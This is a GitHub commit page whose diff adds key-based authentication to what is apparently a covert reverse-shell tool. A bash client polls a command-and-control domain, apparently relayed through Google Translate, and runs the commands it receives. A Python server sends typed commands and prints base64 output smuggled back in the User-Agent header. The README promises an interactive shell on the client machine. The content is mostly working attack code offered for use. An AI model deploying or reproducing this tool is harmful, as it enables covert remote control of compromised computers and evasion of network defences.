Skip to content

Commit

Permalink
Support authentication by the clients
Browse files Browse the repository at this point in the history
  • Loading branch information
mthbernardes committed Dec 2, 2018
1 parent 97f821d commit 5c1d5d6
Show file tree
Hide file tree
Showing 3 changed files with 31 additions and 13 deletions.
6 changes: 4 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,10 +12,12 @@ First you need a VPS and a domain, for the domain you can get a free one on [Fre
Start the server.py on your VPS
```bash
python2.7 server.py
Server running on port: 80
Secret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062
```
Execute the client on a computer with access to [Google Translator](https://translate.google.com).
It will provide you secret key which will be used on the client.sh, run the client on a computer with access to [Google Translator](https://translate.google.com), providing the secret key generated by the server.
```bash
bash client.sh
bash client.sh e294a11e-bb6f-49ed-b03a-9ec42be55062
```
Now you have an interactive shell using named pipe files, **YES** you can `cd` into directories.

Expand Down
8 changes: 7 additions & 1 deletion client.sh
Original file line number Diff line number Diff line change
@@ -1,8 +1,14 @@
#!/bin/bash
set -x
if [ -z "$1" ]; then
echo -e "Error\nExecute: $0 secretkey-provided-by-the-server\n"
exit 1
fi

running=true
secretkey="$1"
user_agent="User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
c2server="http://www.dedonocuegritaria.ml/"
c2server="http://www.dedonocuegritaria.ml/?key=$secretkey"
result=""
input="/tmp/input"
output="/tmp/output"
Expand Down
30 changes: 20 additions & 10 deletions server.py
Original file line number Diff line number Diff line change
@@ -1,26 +1,35 @@
#!/usr/bin/python

from uuid import uuid4
from urlparse import urlparse, parse_qs
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer

serverPort = 80
secretkey = str(uuid4())

class webServer(BaseHTTPRequestHandler):

def do_GET(self,):
useragent = self.headers.get('User-Agent').split('|')
self.send_response(200)
querydata = parse_qs(urlparse(self.path).query)
if 'key' in querydata:
if querydata['key'][0] == secretkey:
self.send_response(200)
self.send_header("Content-type","text/html")
self.end_headers()

if len(useragent) == 2:
response = useragent[1].split(',')[0]
print(response.decode("base64"))
self.wfile.write("")
return
cmd = raw_input("$ ")
self.wfile.write("{}".format(cmd))
return
self.send_response(404)
self.send_header("Content-type","text/html")
self.end_headers()

query_components = parse_qs(urlparse(self.path).query)
if len(useragent) == 2:
response = useragent[1].split(',')[0]
print(response.decode("base64"))
self.wfile.write("")
return
cmd = raw_input("$ ")
self.wfile.write("{}".format(cmd))
self.wfile.write("Not Found")
return

def log_message(self, format, *args):
Expand All @@ -29,6 +38,7 @@ def log_message(self, format, *args):
try:
server = HTTPServer(("", serverPort), webServer)
print("Server running on port: {}".format(serverPort))
print("Secret Key: {}".format(secretkey))
server.serve_forever()
except KeyboardInterrupt:
server.socket.close()
Expand Down

0 comments on commit 5c1d5d6

Please sign in to comment.